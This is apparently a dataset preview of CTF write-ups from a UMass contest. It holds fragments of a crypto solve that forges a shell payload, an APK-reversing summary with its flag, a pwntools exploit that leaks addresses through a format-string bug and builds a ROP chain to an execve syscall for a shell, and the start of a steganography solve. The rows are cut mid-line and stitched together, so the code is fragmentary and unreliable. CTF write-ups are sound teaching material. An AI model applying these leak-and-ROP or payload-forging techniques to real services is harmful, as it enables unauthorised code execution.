if a==0: n = bytes_to_long(b)//ls print(n, b) break
# b = ls * n```
After run it, we got payload: b'sh\t \x0c\t\r ', and n = 299531993847392
Finally, write the full exploit:
```#!/usr/bin/env python3import json
fro... |
KE new payloadpayload = b'sh\t \x0c\t\r 'h = int(hashlib.sha256(payload).hexdigest(), 16)ctxt = pow(ctxt, 299531993847392, n*n)msg = {'hash': h, 'ctxt': ctxt, 'n': n}io.sendline(b'4'+json.dumps(msg).encode())io.interactive()```
|
# Full writeupA detailled writeup can be found [here](https://ihuomtia.onrender.com/umass-rev-free-delivery).
# Summarized Solution- Decompile the apk using `jadx`- Extract a base64 encoded string from `MainActivity.java`, the string is `AzE9Omd0eG8XHhEcHTx1Nz0dN2MjfzF2MDYdICE6fyMa`.- Decode the string and then xor it ... |
05\x34\x27\x21\x75\x01\x22\x3a\x6f\x75\x22\x64\x39\x39\x0a\x37\x27\x64\x3b\x32\x0a\x64\x21\x0a\x27\x64\x32\x3d\x21\x0a\x65\x23\x66\x27\x0a\x74\x28\x77\x55`, xor them with `0x55` and you'll obtain `echo "Part Two: w1ll_br1ng_1t_r1ght_0v3r_!}"\x00'`- Put together with the first part, we get the full flag: `UMASS{0ur_d3l1... |
3r_!}` |
## Full WriteupA detailed writeup can be found [here](https://ihuomtia.onrender.com/umass-pwn-bench-225).
## Solve script```pythonfrom pwn import * def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server',... |
ate") io.sendline(b"3") for i in range(6): io.recvuntil(b"5. Remove Plate") io.sendline(b"4") # leak addresses def leak_address(offset): io.recvuntil(b"6. Motivational Quote") io.sendline(b"6") io.recvuntil(b"Enter your motivational quote:") io.sendline(f"%{offset}$p".encode("ascii")) address ... |
address + 0x7150log.success(f"writable address: 0x{writable_address:x}") # preparing rop gadgets ---------------------------------------------POP_RDI = elf.address + 0x0000000000001336POP_RSI = elf.address + 0x000000000000133aPOP_RDX = elf.address + 0x0000000000001338POP_RAX = elf.address + 0x0000000000001332SYSCALL = ... |
T), p64(POP_RSI), p64(writable_address), p64(POP_RDI), p64(0), p64(POP_RDX), p64(0xff), p64(POP_RAX), p64(0), p64(SYSCALL), p64(RET), p64(elf.symbols['motivation']) ]) io.recvuntil(b"6. Motivational Quote")io.sendline(b"6")io.recvuntil(b"En... |
), p64(POP_RDX), p64(0), p64(POP_RAX), p64(0x3b), p64(SYSCALL), ]) io.recvuntil(b"Enter your motivational quote:")io.sendline()io.sendline(payload) io.clean() # Got Shell?io.interactive()``` |
We are provided with a png image.
Using zsteg, we can analyze the png file.```zsteg -a her-eyes.png```
Looking at the zsteg results, we can see that there is some text hidden in zlib with 'b2,rgb,lsb,yx'.```b2,rgb,lsb,yx .. zlib: data="Her \xF3\xA0\x81\x8Eeyes \xF3\xA0\x81\x89stare \xF3\xA0\x81\x83at \xF3\xA0\x81... |
End of preview. Expand in Data Studio
README.md exists but content is empty.
- Downloads last month
- 15